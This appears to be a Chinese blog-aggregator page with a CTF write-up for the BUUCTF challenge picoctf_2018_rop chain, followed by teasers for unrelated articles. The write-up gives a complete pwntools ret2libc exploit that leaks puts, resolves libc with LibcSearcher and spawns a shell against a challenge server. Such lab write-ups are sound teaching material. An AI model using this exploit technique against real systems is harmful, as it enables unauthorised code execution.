news 2026/1/30 3:17:12

buuctf中的picoctf_2018_rop chain

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的picoctf_2018_rop chain

首先checksec检查保护机制:

-32位程序

-开启了栈不可执行机制

然后使用反汇编工具IDA进行分析:

看到了vuln函数和左边的win1,win2函数及flag函数,第一眼看到就觉得能够从这些函数中获取flag,但实际行不行呢,先一个一个点进去看一下

vuln函数内部:

gets函数可触发栈溢出漏洞,顺便算出偏移为:0x18 + 0x8

win1函数内部;

使变量win1的值为1

win2函数内部:

一些if-else的条件选择语句

最后是flag函数内部:

可以发现要想从这里拿到flag,必须要让win1,win2和a1的值都等于-559039827,但是前面的那几个函数都无法实现,所以这几个函数一点作用也没有,纯糊弄人呢

由于在程序的反汇编代码中没有任何后门函数和system函数地址,题目也没给libc库文件,这里考虑泄露出某个函数的真实的地址再借助LibcSearcher这个插件找到libc库,再计算出libc基址,进而计算出system函数及/bin/sh的地址

先在IDA中拿到vuln函数的地址,方便后面二次使用栈溢出漏洞:0x8048714

然后就可以开始编写exp攻击脚本了:

第一次栈溢出先构造ROP链执行puts函数打印出puts函数的真实地址,拿到后通过LibcSearcher找到libc库,然后计算出libc基址后再计算出system函数和/bin/sh地址,第二次栈溢出执行system函数后就能拿到shell

from pwn import * from LibcSearcher import LibcSearcher context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',29484) # 与在线环境交互。 offset = 0x18 + 0x4 vuln_addr = 0x8048714 elf = ELF("./pwn") puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] io.recvuntil(b'Enter your input> ') payload = b'a'*offset + p32(puts_plt) + p32(vuln_addr) + p32(puts_got) io.sendline(payload) puts_addr = u32(io.recv(4)) print(hex(puts_addr)) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system") bin_sh_addr = libc_base + libc.dump("str_bin_sh") io.recvuntil(b'Enter your input> ') payload = b'a'*offset + p32(system_addr) + p32(1) + p32(bin_sh_addr) io.sendline(payload) io.interactive()

这是运行结果:

这里要手动选择libc库,32位程序就选择32位的libc库就行,可能会选到不适配得到libc库,多试几个就行了

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/26 11:51:47

真空出气测试:保障航天电线电缆特种材料的可靠性

特种电线电缆真空出气测试的必要性航天器大量使用的电缆绝缘护套是真空出气污染较为严重的非金属材料,属于主要污染源之一,真空出气会释放挥发性成分,对于精密半导体或者航天器件来说,这些释放的气体会造成分子污染,干…

作者头像 李华
网站建设 2026/1/29 20:45:41

蚌埠不锈钢管 食品级卫生无菌输送

在工业管道系统选型决策中,智能化工具正加速普及,全生命周期价值已逐步取代初始采购成本,成为客户核心考量。浙江荣瑞管道科技有限公司顺应这一趋势,以全周期价值导向重构不锈钢管产品服务体系,为高洁净、高精度应用场…

作者头像 李华
网站建设 2026/1/27 23:13:35

基于SpringBoot+Vue的体育赛事交流平台毕业设计

博主介绍:✌ 专注于Java,python,✌关注✌私信我✌具体的问题,我会尽力帮助你。 一、研究目的 本研究旨在构建一个基于SpringBootVue的体育赛事交流平台,以满足现代体育爱好者对于赛事信息获取、交流互动以及个性化推荐的需求。具体研究目的…

作者头像 李华
网站建设 2026/1/30 2:25:22

质量门禁(Quality Gate)设计:不让一个有风险的构建上线

一、质量门禁的战略价值重构 在DevOps持续交付的浪潮中,传统测试环节面临两大困境: 缺陷滞后性 - 78%的生产环境缺陷源自未检出的早期代码问题(2025年Gartner数据) 质量成本悖论 - 修复生产环境缺陷的成本是开发阶段的30倍&…

作者头像 李华
网站建设 2026/1/28 19:35:46

技术鸿沟与角色突围:AI时代产品经理的能力重构与CAIE认证价值

随着人工智能技术从辅助工具向核心生产力转变,产品经理角色面临结构性挑战。本文基于行业调研数据,分析AI产品经理的能力缺口,探讨系统性学习路径的价值,并通过对比研究评估不同认证体系的特点。数据显示,具备AI系统化…

作者头像 李华
网站建设 2026/1/27 22:58:15

中小企业如何构建轻量级但有效的安全运营体系

许多中小企业面临同样的困境:既无预算组建专业安全团队,又无法承担安全事件带来的业务损失。于是陷入“不防护怕出事,建体系又太重”的两难。其实,安全运营不必大而全,关键在于聚焦核心资产、建立最小可行闭环。 本文基…

作者头像 李华